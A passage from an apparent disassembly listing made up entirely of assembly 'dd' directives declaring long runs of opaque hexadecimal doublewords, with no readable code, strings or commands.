0D9D28791h dd 5DFDE010h, 7B0E3CE9h, 69C898F2h, 6D5601B5h, 188AC4A0h dd 0C4209218h, 769A4141h, 25006608h, 0E90093C4h, 0ABF1144h dd 8F64A3h, 1F577F3Dh, 9880D7FAh, 9791330Ch, 703A18C6h dd 526F1F93h, 46720FBDh, 0FD8FF10Fh, 1F3E2015h, 2A95CC80h dd 356E5B4Dh, 682F321Fh, 0AB404700h, 0F8366F0Fh, 7C437812h dd 358C1DACh, 3C65C4E5h, 25234168h, 840AFC77h, 39382170h dd 29E3F610h, 3B4324A8h, 6F8C681h, 0C08F0AE4h, 0F5EAE090h dd 0A1DC42CDh, 20E2174h, 55F2DAC0h, 78443E6Fh, 0C5AD10A2h dd 0AFB00029h, 8F2EDF03h, 0B2EA8Bh, 0F873BA1h, 1EC5DDE1h dd 41D401Fh, 0EBA8B700h, 1E25B932h, 2A4BFE6h, 2677C5D2h dd 83C6D30h, 0E6DD599Eh, 42CE4454h, 216024F6h, 0A9F83628h dd 3CFCE6F1h, 661D71B1h, 0C1A05C41h, 0A8EF74BFh, 80D8BC21h dd 699B9345h, 7846751Fh, 2C161E9Dh, 20F2155Fh, 0E0416200h dd 77D36924h, 0F01A908Fh, 5704FECEh, 4E8840EDh, 1CE84980h dd 366EC3h, 0F66FF423h, 0B89801A8h, 28022503h, 80C27AD2h dd 60443836h, 2EBC18C5h, 84A0EC55h, 9F789335h, 7D1D0E05h dd 203038B1h, 0FF8AB650h, 1C509D0Ah, 9BE954E3h, 0A8A0AE0h dd 805E5840h, 2113D911h, 116E6F2h, 542327F6h, 1F35FFB5h dd 406C4221h, 4257F82Dh, 0B8DEA275h, 4277C40h, 80E2D6Ch dd 0A5F67C37h, 60AC8120h, 1F36DBCEh, 87601A2Bh, 775E2794h dd 0F120FA4Ah, 4E04F92h, 0BE157385h, 20EE2B2Ah, 45279EBEh dd 35770344h, 0A1ED877Ch, 5E002010h, 31CCBC27h, 0EA4585A9h dd 14404076h, 80EC43EDh, 1D5246ACh, 6D638120h, 880AD780h dd 27865822h, 9271CF08h, 3E485419h, 2B76F040h, 20EC57EDh dd 28D8D285h, 3E246B60h, 0F256608Ah, 120A5D9h, 92007F8h dd 2A211F37h, 0EB028068h, 15BEAA43h, 201CFA0Ah, 52187150h dd 56B2A0C0h, 6F2EC09Eh, 20230FFCh, 181F2C6h, 0AE4127C4h dd 0D8C92386h, 0AFE8D337h, 0FEE6E0F9h, 38255730h, 0F8F5A8ABh dd 0C251C1FFh, 0B17B4Ah, 0CE925Ah, 36AE5923h, 33CFC93Bh dd 35F05BF0h, 0AADD5819h, 7C21A038h, 8D288FF2h, 5260A07Fh dd 4620A4CCh, 0FAD784AFh, 4038A903h, 16BA9106h, 0F8592054h dd 0A0D140C8h, 0C1C1DCF8h, 0CC0950A9h, 80BA1880h, 0C4E8AD52h dd 3A8F3F01h, 0F81336B0h, 0A1E3C2D8h, 398C5B90h, 3690AFE0h dd 0B3F52200h, 0CB9C4593h, 0AA0738FFh, 0C22BA700h, 0BA031F83h dd 9E7EF93Fh, 4EEB9ADh, 1E212F01h, 0D083C444h, 0D430A7C9h dd 554B500Ch, 1458C2h, 91CABCBAh, 0D1042C4h, 0F99060FFh dd 1DC8C553h, 740239BCh, 0C0E7C10Fh, 0E3459C80h, 3E014C74h dd 0D4A8CD47h, 41C91DB0h, 0B4050F11h, 0C0BB56C7h, 0E489B2BEh dd 0D1A88600h, 886E3574h, 115A30A0h, 0F430AA80h, 542A8A8h dd 30376Eh, 6CA8B179h, 9E2707ABh, 0D11C44EAh, 0D91F6607h dd 0E7489CA4h, 1276F400h, 521A556h, 10D3EC42h, 0A9A430E6h dd 0B16FED58h, 0E7CCBC60h, 2885181Fh, 0C03CA7h, 53598B23h dd 0B9A2C4E6h, 217458CEh, 7C52880Eh, 5DF543DCh, 3060B033h dd 18F8ECC9h, 11715934h, 0C402A816h, 0C5F2486h, 0BC883A60h dd 0CB941216h, 925C007Ah, 8DB2EC5h, 51B20504h, 1C906C31h dd 60A9C4E5h, 43E65141h, 78C81FF9h, 0B08F82ABh, 0B4E8A538h dd 671B6BCh, 89B17E05h, 0A82EBB6Dh, 10F93383h, 451EE109h dd 4824217Fh, 6FE5D8E8h, 2EB69085h, 0ED80402Ch, 0B96AB1A8h dd 0C0E82537h, 9B288C0h, 396E0091h, 17D57DF2h, 0A11F819Bh dd 8068141Eh, 6765ED39h, 4E30C931h, 18A9D6BEh, 19A2A885h dd 41093868h, 3D70B91h, 14AE4E24h, 0C0B1DE18h, 2E0518Ah dd 0A584F042h, 0CFBC5440h, 0BAB8C761h, 5057C2D7h, 0F9D30250h dd 0F7EA3A83h, 0A414B2BAh, 2C281050h, 0C92405DCh, 406952C4h dd 0F128A4C8h, 0AB0A6B1Ah, 0D4ECF8C7h, 0C881E44h, 27391548h dd 4870A0h, 8893AAA0h, 0FA0AEDE0h, 0F08AE544h, 2257EB00h dd 48172EC2h, 80C50FDh, 6798C381h, 0CC9BA506h, 3FF96CBCh dd 0DC033DF8h, 1BAC0149h, 22993001h, 245E13B6h, 0C4E28850h dd 0A19B0D6Ah, 180C6ADh, 206F4ED8h, 3812B770h, 2422C320h dd 7EC5058h, 0C782A80Ah, 39E1CC3Fh, 48DAC03Ah, 37B71510h dd 0A01875B8h, 0E6588846h, 91A5780Ah, 528B00B4h, 0DCD9AC6h dd 3C142C4Dh, 79450C2Ah, 4BB1078h, 0A1442357h, 2639003Bh dd 1E94055h, 0C8C2C3ECh, 210184F8h, 0CB9DF034h, 42250DF8h dd 3340A4B9h, 34354C81h, 29B17001h, 691864E4h, 6EA9C830h dd 8433CD88h, 714BC411h, 461C8122h, 8A524708h, 1138802h dd 9178601Fh, 42A38058h, 50B78CA8h, 0A0993F28h, 52D8E602h dd 8AC30C31h, 223F1C88h, 71B6A1D1h, 0F8C59834h, 490CA820h dd 28F88833h, 608FBC88h, 2F2B8077h, 589ACE07h, 0AE4AA810h dd 0E9588440h, 4421C006h, 914007A3h, 0D3483CD8h, 0A1A70987h dd 0B943C4A1h, 1C86578h, 0D27F44A8h, 2047F920h, 3035568Ch dd 57C08401h, 115BBC34h, 643074B3h, 843C9808h, 0C2472180h dd 8CE63E1Eh, 42F2439h, 695DE507h, 0A99B6D80h, 0A4C2508Ah dd 12AC77F4h, 0C6BB5A8h, 17885EC4h, 0A1EF888h, 0E8294001h dd 2A6602E8h, 48E87A2Fh, 0BA3626AFh, 5E8482Eh, 8E44EB6Dh dd 253C2224h, 891CDE31h, 11B89821h, 0C3FDC43Bh, 181CCA31h dd 5E0CED1Fh, 991078A6h, 0EE886833h, 0FFAE31E1h, 218EEF08h dd 9E94A3DDh, 3BD3273Ch, 0F53111B4h, 482062A9h, 0B6F723D5h dd 3B276011h, 71B5C582h dd 0FBE01882h, 0F830F311h, 806EE4F4h, 9A1422F5h, 0C560DAA9h dd 9C31CEC5h, 5D181FABh, 15714D21h, 23C4D84Ah, 2B7A31D8h dd 5C43F918h, 84C5C211h, 7331CB91h, 54ED1821h, 0AE823C48h dd 1D6322D8h, 5DADA305h, 0DC88682Dh, 91AE413Ch, 15DDB638h dd 0A21158FEh, 25698581h, 0C63EF431h, 58A47518h, 0B9089B47h dd 0AA446F3Ch, 5104DB71h, 122BFE3Ch, 0B100D384h, 0CFF8B31h dd 542C5222h, 0C489DD10h, 7F49C5CAh, 0AE206481h, 105E03FFh dd 0CA2ABD31h, 89E4C4C6h, 0A6836098h, 60A9496Ch, 7C1D0E84h dd 1857EFE5h, 0D97C1CD4h, 11F45453h, 2B8B1D0Ah, 4484B488h dd 6261711Eh, 0D8AE2E0Ch, 0B965F910h, 0ADE56B88h, 981A6C22h dd 0A61C5B3Ch, 24EE23C0h, 6E7EE908h, 85A872D2h, 0DB23806Ch dd 0C98D081Fh, 2E86A69h, 18D2333Ch, 218C250Ah, 3A94347Dh dd 0FC922878h, 10C45934h, 225FC09h, 2224D92Ch, 0B7072702h dd 81CA6248h, 7A44412Bh, 1C4BC4E3h, 2843D832h, 895C126h dd 0B7146C4h, 0AEE20C25h, 3631219Ch, 0C1C30A88h, 8B87F4Dh dd 15788E8Fh, 56296F42h, 24AB883Ch, 332BF262h, 7696689h dd 13B76EC0h, 5224BD3h, 8479BAA8h, 3D74C1A8h, 22E8627Dh dd 45A03E1Ah, 75AD917h, 0F0AB2120h, 0E1A99974h, 89CC945Ch dd 3164487Eh, 750892C4h, 1E24A6E8h, 4CC566Bh, 22AAE5A2h dd 0B684A102h, 49B12A13h, 12C2FE18h, 5258A22Eh, 592D06EBh dd 785D28B0h, 34711000h, 0C878B788h, 935C84E2h, 0A85E8A30h dd 3B0854ACh, 2EBC01B0h, 8AF1437Ch, 94EA1678h, 5F253A41h dd 7217190Bh, 945075E1h, 6FA6E3A9h, 808650ADh, 0FCBA9025h dd 8431A22Ah, 0A173A91Fh, 0C8B92889h, 8196C4C8h, 1F45D849h dd 0C9D04437h, 0C224A100h, 8DA90079h, 63380B67h, 9800CD89h dd 0B883AC2Bh, 304B761Fh, 0A5191D2Dh, 0D2304E15h, 0C04A101Ch dd 349212AAh, 32470094h, 0F80ADF62h, 9C64A628h, 3D0039DDh dd 0CABF3C60h, 0B6CF00C4h, 76D13A4Ah, 0F60CA620h, 28649B85h dd 347C031Dh, 0CF3B2CFCh, 69158CA8h, 0A7004072h, 8432A892h dd 0C21FB7B4h, 0C5015B50h, 6A5AA121h, 0C443A912h, 4C60C106h dd 0E878C9D2h, 3B8D009Ah, 92DF5996h, 33F09B20h, 19083150h dd 32E80218h, 13F66B8h, 358F0C23h, 0D0F78022h, 6404A768h dd 0A871DC07h, 0E2D324C0h, 0E9166551h, 4ACC069Ch, 70C211ACh dd 0A4544136h, 1E42C130h, 0B62222EFh, 7A80A228h, 0AA949164h dd 27DA7850h, 0DB460D1Eh, 0EA0281F8h, 0B1FF48A1h, 1E00E25Eh dd 0A404F4EDh, 3F6039C8h, 59480F4h, 0C35A0CA0h, 1F7D9A0Ah dd 428180BEh, 89AB0595h, 155D209Fh, 4C781899h, 752A04B0h dd 1CD848B4h, 8A24090Fh, 0A8BE4986h, 0CFD7020Ch, 1435C0F9h dd 78E10518h, 62363F3Fh, 4720A088h, 0EC8E058Ah, 459A5F18h dd 0A154B14h, 0B1141C8Ch, 16443C8h, 9850D1B6h, 0CF31EB8h dd 8492FC55h, 0A40C8D40h, 90EBA1A2h, 8A4C10A8h, 12EC3ED3h dd 0C11881Dh, 1B1E77D0h, 19CFCB8Ch, 1D0E0FCCh, 9D523400h dd 0A1FFEC8h, 0B33B1CA6h, 8DA284C8h, 122C149Fh, 40000372h dd 0AFF5697Ah, 92A8C157h, 0DA3EEEh, 243CA610h, 857C1D83h dd 4274AFA2h, 9A2BDDA0h, 0D47A4881h, 7451A897h, 0D4A84855h dd 88F0A951h, 5C10EF60h, 6069B90Dh, 868C182h, 0F7FE2278h dd 0DA8483Eh, 70FB2E4Ch, 60A59ADCh, 0FE5B1ECh, 99481EE1h dd 2CAA8ACCh, 34940280h, 0A8EC0418h, 76748C4h, 3FF4CB8Bh dd 19C0C619h, 41790A35h, 0B1A07805h, 2F802420h, 144C9028h dd 481CF708h, 482B5081h, 0E2A8009Ch, 0C94B603Eh, 503E89Eh dd 0E55C7405h, 3020CBF7h, 0DFAD5FECh, 0E61A03F1h, 329A7FB6h dd 0B8B50880h, 8A49E766h, 761E0774h, 484C6731h, 0A81D30DDh dd 23A46D51h, 84F87890h, 3CFAA126h, 3A3DFE61h, 3552810h dd 0E4051918h, 98ED6669h, 8A65004h, 900D4C1Eh, 0E5022B22h dd 0E1705C4Dh, 6864B6h, 0E8B703B1h, 0A284C0A6h, 18CC0A35h dd 176A9402h, 340A123Dh, 0A93608E8h, 226D6540h, 8038917Ah dd 0C411E088h, 5D4973D1h, 9880C408h, 0EF600CD0h, 8865507Eh dd 0CC01190Bh, 704360B5h, 6324F520h, 0E84582Eh, 3008337h dd 1A53647Bh, 911EEC80h, 0B020094h, 287D95D3h, 0C0382B61h dd 0CC307285h, 0E082264Ah, 207A95F4h, 6016A80Fh, 0B2E96E0Ch dd 81B7E500h, 4C7659FFh, 979CA839h, 0B02A0C9Fh, 8518F869h dd 136DA888h, 6790E03h, 7987335Ch, 101E7728h, 0C1DD7B01h dd 33545CD6h, 90FEA447h, 10905919h, 0A7D430C5h, 10CA8DF0h dd 63021057h, 0AFCC0319h, 4940FBCh, 3019DA5Fh, 0FC20886Ch dd 0FD19336h, 21190A54h, 0D55094D6h, 10CC3C18h, 0B188F403h dd 0C0180211h, 0E56BD9E8h, 10802F48h, 133FA8DCh, 28B3C019h dd 15D7F092h, 31C2307Fh, 68D032B6h, 4237A68h, 8258A3AAh dd 93CC830Dh, 45BEE107h, 53403171h, 0B968FA0h, 923DDFB1h dd 0B9954407h, 0B002ECA9h, 9C5CDEABh, 0B80D4212h, 3FD8983h dd 28803BD9h, 5D8BCB8Ah, 7098226Eh, 648023FCh, 1130183Fh dd 5BD278A4h, 38D3601h, 0EAA2860Ch, 0BC4C6462h, 3E061E20h dd 3B4F15DEh, 0A23708D1h, 3D00B5C1h, 0CBCA4B45h, 32350CF0h dd 7C18E0D4h, 25EF4C09h, 8DC80021h, 62459252h, 8922B1A3h dd 4A07B602h, 6DC841A8h, 62C53424h, 0ED73400Fh, 0C80D8910h dd 808985A0h, 6028A0B1h, 240E0212h, 296091ABh, 94C58058h dd 0AA72E969h, 0AE451DF8h, 406152DDh, 60841030h, 0C61E4995h dd 1C186019h, 0BDF8ABD3h, 0D1BE3E99h, 7168F481h, 45733EF8h dd 9C1404BCh, 8E8E0F32h, 21998E6h, 0A851C3B0h, 86621E8h dd 90B965C6h, 21314C0h, 0D5180886h, 9AB69977h, 0A0A60628h dd 0D70428E6h, 4459E093h, 445664C2h, 104B647Ch, 4286228Ah dd 0F0C06464h, 5510CAF0h, 304A1910h, 0A82180A3h, 0C8485391h dd 98BC00B5h, 779D544Dh, 0D4B9504Ch, 29118700h, 15471C79h dd 0D8D24ACBh, 50389430h, 809039A5h, 0EC0CF751h, 1E01BCE6h dd 0B6782902h, 3020929Fh, 0C03F3177h, 92912118h, 0B85ED898h dd 0B5F923D8h, 97A826E7h, 955D0CB0h, 0AD608138h, 0CBC5F29h dd 0F35602AEh, 0B6F57C79h, 82ED5C85h, 99234914h, 0E9106C19h dd 0C490B710h, 111F5132h, 1B6202B5h, 0A60ABD24h, 10BC1018h dd 0D4001C6Ch, 9277B0C4h, 0B42C03E0h, 0CF153C80h, 1633CDCh dd 0B6FD239Dh, 6C2028A4h, 0F88564BCh, 5AA08157h, 52A800B3h dd 0D14D91h, 0DD51F705h, 1B9800DEh, 9B85F5EAh, 3C3C64B1h dd 689F15F3h, 0F2DB0084h, 0AFDEB551h, 5A40050Fh, 909D0939h dd 6065A9DCh, 0FE740271h, 8404894h, 1DBD704Ah, 0B9B13EA1h dd 2298ABB4h, 1E20CB64h, 104F1940h, 5CA6B2E2h, 8F1C8A88h dd 78984315h, 92819D1Eh, 2B2946C4h, 88C794D7h, 782D7B85h dd 9AD39430h, 324824h, 49370912h, 0A402FB9Ch, 0B32E3651h dd 918BD809h, 8015AFB8h, 76E20AFCh, 80832022h, 122F85A4h dd 61E4D77h, 312E6660h, 0C345D00Ah, 0B50050C0h, 0F3FA85B6h dd 92C9339Eh, 81C5BEF9h, 83974Ch, 94A70F1Eh, 0C342C50h dd 0C8183313h, 3A4534B8h, 8010D81Ah, 3DB81E97h, 0E77B3300h dd 1F029DE2h, 41D3862Bh, 1188893Eh, 5B4BDC21h, 1B386912h dd 0E889ACCDh, 4C86CB11h, 20061A8h, 0B0C3D2F0h, 0C2219266h dd 932DB511h, 744B3880h, 8A5C0F7Bh, 1C03CA2Ch, 0E2527700h dd 48ECC084h, 0A84650A6h dd 4CA3867Ch, 5A7CE6C1h, 0E857288Ch, 88CDC721h, 0E4C72BE9h dd 0BE5F63C8h, 9501156h, 22B08D94h, 4079C844h, 923FC060h dd 322298E4h, 0C8815F03h, 73AED8A1h, 0AD804808h, 91039540h dd 40F14530h, 6AFFBEFCh, 2F07F0DCh, 2D1CB216h, 0E4A03D77h dd 3FEA7476h, 47009D45h, 0ED98C906h, 8800A38Ch, 9B1F77F4h dd 7A4535h, 623716E6h, 0DB833840h, 304F3D00h, 42C2BF9Fh dd 66AD399Bh, 69650F7Fh, 3180704Ch, 2A069E30h, 11954630h dd 0E616D61Fh, 0AF5E1BE0h, 8BE3402Fh, 54B0B8C0h, 33012D00h dd 55E6CCABh, 0D6A100BAh, 0E4EA30F3h, 1F1CFA8Eh, 28A82D37h dd 66051600h, 173F99E7h, 409A0CB0h, 6A582D68h, 0D6DEF614h dd 48B10008h, 0AE74ECEBh, 40DA6F38h, 0A400188Fh, 0BB07E21Ch dd 0C0B8A100h, 331A8355h, 66A50F53h, 0DE8EB94Fh, 0E330F9A2h dd 76F848Fh, 896FABA6h, 0B7F409FCh, 20E2C231h, 83FCB8B1h dd 347FA5Ah, 87D6AF79h, 0E9A1F6FEh, 0E7D08758h, 58CC2B7Ah dd 2749C3A1h, 0B10039DCh, 0E609A4FAh, 7F1E2EFBh, 0FE00280h dd 1F506597h, 0F6E31FC0h, 3AEA8800h, 0BDAAE69Ch, 33B800C1h dd 0B46A5F94h, 58DE986Fh, 97105719h, 408E5E08h, 9A885F56h dd 50E30525h, 40AF2380h, 87DB5D94h, 0B02AB4EAh, 0A600DC24h dd 1D55C1E1h, 30691E2Bh, 60C97EF9h, 956744E6h, 2497C351h dd 6F393586h, 10670915h, 0A660EC6Ah, 14284E49h, 22147944h dd 3BEE02A3h, 0A140B1C5h, 0F61C6440h, 9CFA6629h, 17CA093Dh dd 0F46C002Ch, 505B5E56h, 817FB0C5h, 7CD10BCh, 0E84E01B1h dd 9AA0353Fh, 790FFB5Bh, 69B46DDh, 3102E29h, 0E1252D47h dd 7DD3166Bh, 4304CCC2h, 0DB02CD22h, 42890115h, 0D9DCC055h dd 0AB08C378h, 10469510h, 11DD88CBh, 98070008h, 0E0241171h dd 5D49C0D1h, 1B01289Bh, 0A1846ECh, 0AB185A2Fh, 0D0BE0F38h dd 40F10AAh, 0A0CD3E60h, 733891A9h, 2C4D9E44h, 0E800E0DFh dd 0F69B384Bh, 0E92A1904h, 0C95828C1h, 136D7043h, 9B7D7C0Bh dd 99AF812Ch, 8FF01CAh, 9AD51818h, 0A3ED7BC1h, 71DD9F0h dd 0B4F2836Ah, 0C073C76Dh, 93793E34h, 7B509FECh, 0D1EB2E40h dd 18DF308Ch, 650F9209h, 0AD970383h, 29F80085h, 0EE4F2A08h dd 1F00A9C5h, 90AAE3B9h, 63D7D26h, 85705411h, 8C0E7015h dd 0C17F3FE9h, 2B7D0110h, 0AAE74080h, 0D83C1A1Fh, 3A5AB0C1h dd 0E88528AEh, 1FD26A8h, 8C7DDB94h, 4008B0C9h, 603D5054h dd 0C2525817h, 787C6C22h, 2C08A207h, 0C3C7600Bh, 1AC4A3F1h dd 0D4E4F8h, 0C9DF4DC1h, 0E12410A9h, 0C811F728h, 0B908DB00h dd 254F7443h, 601E66E0h, 2170585Ah, 0A21F9702h, 0F0A1170h dd 19749286h, 50CAC000h, 4FCE2B2Eh, 6E10E8Ch, 0C62A38C2h dd 0E5A300E8h, 152C4C8Ah, 98ABE800h, 0E720DF2Bh, 45B50062h dd 3413AD2Dh, 9E0A7FEDh, 0B8CFAA61h, 0C2085401h, 0B082CBF1h dd 6C531B91h, 5286CC8Fh, 6B601922h, 5859BDD8h, 0C2510A81h dd 41844825h, 361272Bh, 9A58C8FDh, 1AE4016Dh, 819616BDh dd 424486FBh, 0FDF84DAFh, 1E42B30Ch, 61D3F708h, 71A1B088h dd 15B08871h, 86A383FBh, 0F81F51CAh, 0F08B06Ah, 63E5CD8h dd 246C48EBh, 7D1C08A6h, 40020FD2h, 6AB5C1h, 604BAFE4h dd 13E68D05h, 0E4015985h, 0A967DA5Eh, 9A21020h, 6DCAE778h dd 0F1033C00h, 0C2085035h, 16A6113h, 39A58431h, 11204E15h dd 3880FC9Ah, 4FCF51D1h, 666C8700h, 0AC4BA0AFh, 392E1207h dd 34880F60h, 8E5608E0h, 3600287Fh, 0DA0B23AEh, 35A01Ah dd 77BAE41Eh, 5103F4C6h, 6C007170h, 6EDFC073h, 381CAB74h dd 3A00B093h, 3C4925B2h, 16002404h, 0EBF392B1h, 77DC4EDh dd 8610ACBAh, 598CD1D0h, 5A91F866h, 7547093Eh, 0F574291Ch dd 0B554D340h, 176184h, 0B35F580Ch, 0C5D91276h, 0E48CD600h dd 0E044A0F2h, 94FB0004h, 0E734CEA8h, 81008F51h, 2706828h dd 9547D6h, 1DAE8512h, 0F7C04325h, 0A9FFF500h, 4CCC78B1h dd 0A0670316h, 2D9B8CF0h, 8D0377F7h, 184C40E2h, 7F00CCA7h dd 2C147ACEh, 0CF3A8Ch, 74C0F478h, 4B15EFA2h, 2ACC4800h dd 0B18BC688h, 7CDC0079h, 97940CE0h, 6F00EAF2h, 30AB9A92h dd 0BC60FFh, 6721B0E5h, 0E9067E32h, 7700E77Eh, 9242961Dh dd 0A86312h, 513EC6B5h, 0D5688D65h, 0A09C5650h, 7A7920h dd 0DBE6E4F0h, 0AFD21CC5h, 7BEBA20Eh, 4A14E01Ah, 971590Bh dd 9C41D928h, 0EAF478A0h, 0E80998D2h, 80798094h, 9B6C6670h dd 3A4801B9h, 0D9E4C924h, 0C6388025h, 12D26160h, 0EC215C93h dd 48B68518h, 0D100CD7Dh, 0C8645CE2h, 6EF867h, 0ADCE1DA6h dd 23BDAEECh, 5695F00h, 0A557ACBFh, 730F035Ah, 0FB3E7929h dd 0D0A9E9C8h, 840034B0h, 13A89D0Bh, 6EF344h, 0B141CBEBh dd 752CBBCAh, 12AF8903h, 0F0BF9152h, 4CC690h, 1BE8BE53h dd 2024D40Ch, 22882600h, 0BCB45765h, 6C4A01CCh, 1E9682E8h dd 7446C041h, 97C76101h, 1435B970h, 4CCEE08Ah, 0EB07808Ch dd 0A9E39327h, 5B85D500h, 0BDF7CA05h, 0E1940098h, 46661349h dd 68EECDDDh, 2B963Ch, 0F1AD6AD2h, 1EBD948Dh, 13053Bh dd 0FCA7EB83h, 0F000D577h, 4B611BDFh, 2C6EBD41h, 80B09784h dd 96B8D1E8h, 9200ED02h, 0B93BC405h, 0C5D653h, 2099C8F7h dd 3648EFE5h, 0EBA0110Fh, 10D540CDh, 5A1F45B3h, 5D3E0703h dd 807C5475h, 63B4B708h, 95400C00h, 0E7BDE52h, 94F15077h dd 0BAA0003Fh, 4F209E37h, 7514042Ah, 11841183h, 0A035C13h dd 0E59521EBh, 230BAAC0h, 51693600h, 0CDBA7A84h, 880D1FAEh dd 0BED50152h, 0C7E6FECBh, 708F6000h, 0ED1F8530h, 0F47D0EA7h dd 0E580B02Bh, 29891272h, 335533Dh, 0C13B864Ch, 9FCCE8FDh dd 796000E6h, 61634BF6h, 0AC007224h, 0D71405C4h, 0C9F890h dd 0F14AF9CFh, 0B1294B08h, 0D682F000h, 78E5F4EAh, 3ECD0F4Ch dd 0A211DD3h, 20242A62h, 5E001FE0h, 0A60E22D8h, 1EDB159Ch dd 405DD7B0h, 0A3A5FC3Fh, 8B74345Ah, 0F08CB100h, 0B73016C6h dd 13E70085h, 4F42CD4Ah, 2700325Dh, 8F4F0A2h, 0F43B7DCh dd 0F31692F1h, 4C07EAE0h, 0B600B173h, 0B4E3BFBDh, 0B15D2D0h dd 27E767BBh, 0F1B29880h, 9C1DE05Fh, 14090CBh, 51855E24h dd 747F015Bh, 0DF7CFAFBh, 0A82BE00Ah, 70C16700h, 0DB4BA9B8h dd 0E84D0319h, 0C72A590Dh, 67AED397h, 0EC50C0E9h, 0B500CF8Bh dd 3D05DAC4h, 3607247h, 0C5B4AB1h, 0EEC8483Ch, 3F03A787h dd 0C7F6E227h, 70F1885Ch, 0D67DABh, 3E431E97h, 0D1AE07DFh dd 0F9ECE014h, 628800BCh, 0F3249C79h, 0E9FD00D9h, 94332DA8h dd 0E570C4B9h, 0EEE82061h, 2B0026B7h, 5300EBF1h, 0B53F9D76h dd 0C04B87D9h, 0C9736DF8h, 0AA04E6BFh, 6FF2C4C2h, 3A4D5880h dd 309A2CB8h, 0E3F18204h, 0C6C0DAEDh, 2005CD3h, 0BD53C691h dd 3A609336h, 4A007F50h, 18CDA456h, 0FAE49F38h, 64784Ch dd 16AEDEA2h, 3D5ACF15h, 69EFAA28h, 30BEB9A7h, 36C4DA6Eh dd 3724000h, 7F453BFCh, 0C0126394h, 95F06D10h, 0CC003104h dd 0BA93AE1h, 160366h, 569FC3FAh, 1120B60Ah, 7A9AB400h dd 581F63F1h, 0AEC61DE0h, 0D88FC155h, 0E04A8230h, 9E0732A5h dd 0D63FB973h, 1AFC3DE0h, 0BFC30E46h, 50004B0Bh, 2C82F87Bh dd 7F233F00h, 3442BD7Ch, 8B4000ADh, 0B97198BAh, 0CA0FD4B0h dd 609D4C5Ch, 0F8915E1Ch, 3370064h, 95DA7DBEh, 560704F2h dd 0C046A1F3h, 9FF457h dd 4C188D37h, 0A87358E4h, 0E2E99900h, 0A7076B59h, 7E00B878h dd 0A99C922Ah, 0F5F33Ch, 40B50E3Ah, 0A084A706h, 0D6A5F700h dd 0A3083726h, 88F0035Bh, 0CD214E2Ch, 0BC4049EAh, 95382DE2h dd 72EF8091h, 0A7CAC427h, 0AD5D01EEh, 264799F5h, 9980DAFEh dd 0AEF07401h, 0C84BD314h, 0BE78128Ah, 7E6D9020h, 77D728F2h dd 438700E8h, 0A113389Bh, 0C2006B23h, 0B31BD08Fh, 313CCEh dd 0F13A6463h, 572E0E39h, 0F527F900h, 0E5C8C0DEh, 18A10375h dd 0B1D75599h, 1A0080EEh, 1E65149Bh, 0F7FD0h, 0C354F269h dd 8E9988Ch, 0CD00FAE2h, 4DA68CBh, 0D78E0Fh, 7E378518h dd 0BF2C2E1Ch, 50E70C00h, 0FAD4AA4h, 8D6100CBh, 0B64DE6AEh dd 0B91E03D7h, 0D980BE8Ah, 6EA4024h, 0D4F149D6h, 0D779D00Bh dd 80090023h, 0D8E73DB1h, 0A20E8A0Ch, 4093B6h, 0EA92A405h dd 6083E79h, 3598AD00h, 0A6A8D932h, 3A0EC700h, 0CDBCD759h dd 0F76D004Bh, 8F7AD353h, 0B5F42D86h, 15AB60C5h, 0B8507583h dd 77AF022Ah, 0ADE55C14h, 3C5ED850h, 0CB1BCD45h, 0A0C73018h dd 7F3310CAh, 99DB3C00h, 0B466E7A3h, 724F00A5h, 0C396FD28h dd 30000136h, 0FF247026h, 7B8F6E48h, 8D7F1280h, 756A0792h dd 0C37A112Dh, 5EAC24DEh, 17626500h, 5DBB0291h, 0CEF10255h dd 0AF21A7B0h, 0A48C28E8h, 4137CA30h, 0A6E664h, 881C608Fh dd 1132E36Dh, 2F9B4B07h, 97E0D3F8h, 120281Fh, 387308Ch dd 0E4767F89h, 96006F95h, 4ABE10D7h, 94E0A05h, 0A0425AF0h dd 18301600h, 80007AE0h, 7076C75Eh, 0CED49h, 6BB48477h dd 55BF5268h, 8AE6A00h, 21A3CE93h, 158007D1h, 0F0ECC699h dd 67BEFD1Fh, 0D87CF00h, 0EE9F3677h, 9812C70h, 0DDE480A4h dd 1EAF5E21h, 90000BE2h, 785AD425h, 0B1A26058h, 635907B8h dd 0A904E2A7h, 103684A7h, 6A3B584Bh, 0EADC340Fh, 0CA4F401h dd 397EA36Fh, 0D83F15E3h, 78B04Fh, 0D5DE2B5Dh, 211D383Ch dd 2F36B000h, 0B22A73E7h, 17DA008Eh, 9CF5F6CDh, 53601461h dd 0DFB8E020h, 81BE305Fh, 47516C49h, 0F745733Fh, 0A2612C60h dd 0DE1FAh, 856D3162h, 52ED2250h, 0AA8A2600h, 0DC0A1708h dd 312A6092h, 5F2F8F39h, 0AF64A900h, 0B1068BDFh, 54A6001Dh dd 5A55E11Bh, 0C844DADCh, 0E8E3EE09h, 8B380107h, 0BE3A8E8Ch dd 0FB2C6442h, 841EC600h, 0FABC02D9h, 8CE21Ch, 1FBD8213h dd 1854F176h, 0FB8ED318h, 0C00BBE51h, 5595B9D1h, 0FC3A17D2h dd 16740006h, 19770F0Ch, 64CF1387h, 9C1C808Fh, 3812FAB4h dd 7F003A05h, 25BD40C2h, 1A71008Ah, 2E8FE884h, 0F7006C3Eh dd 83F12033h, 9C32DDh, 0BD56FC71h, 47498C6h, 0FE45800h dd 2C5A37DBh, 0A0AA0050h, 0CD31A7C9h, 8D004E6Bh, 3AFBDAEBh dd 291F0Dh, 0A2B9C335h, 5F41A894h, 0E9623Bh, 497C459Ah dd 178621D0h, 6BD136h, 6708CD7Bh, 0B60151C3h, 0BF32DDCh dd 0E0D67AFDh, 3474E18h, 0B05452E9h, 66C1B2BCh, 0C661FC73h dd 19D25800h, 57C9B31Eh, 0AB4003E9h, 5CF65E1Dh, 31B9B431h dd 0AA30AA12h, 612B0137h, 93D23B4Bh, 0BCCEC434h, 3848FB60h dd 3D50B75Ah, 4E07D5ABh, 1378724Bh, 0A90086Fh, 0C8001BFCh dd 1E1CFDB7h, 0DB3297h, 0D82EDD05h, 0F9ADC642h, 12B9E01Fh dd 40C7238Fh, 1E7A794Ah, 0CB310021h, 0BF3540C1h, 4D0162C6h dd 0F4367BD1h, 3AF51A77h, 0DB662480h, 433DED15h, 8094F339h dd 9F4DA4B2h, 0A3561F51h, 0D62680D4h, 0A6730680h, 384F61F5h dd 5817FC02h, 0F86C28h, 631A02B9h, 0DA37F700h, 106F2B76h dd 967E0035h, 55ACE2A5h, 0CB005388h, 7B89806Ah, 0ABEC39h dd 68DF9051h, 7785674Ch, 97583C3Ch, 0C801E71Dh, 9EE8FCA4h 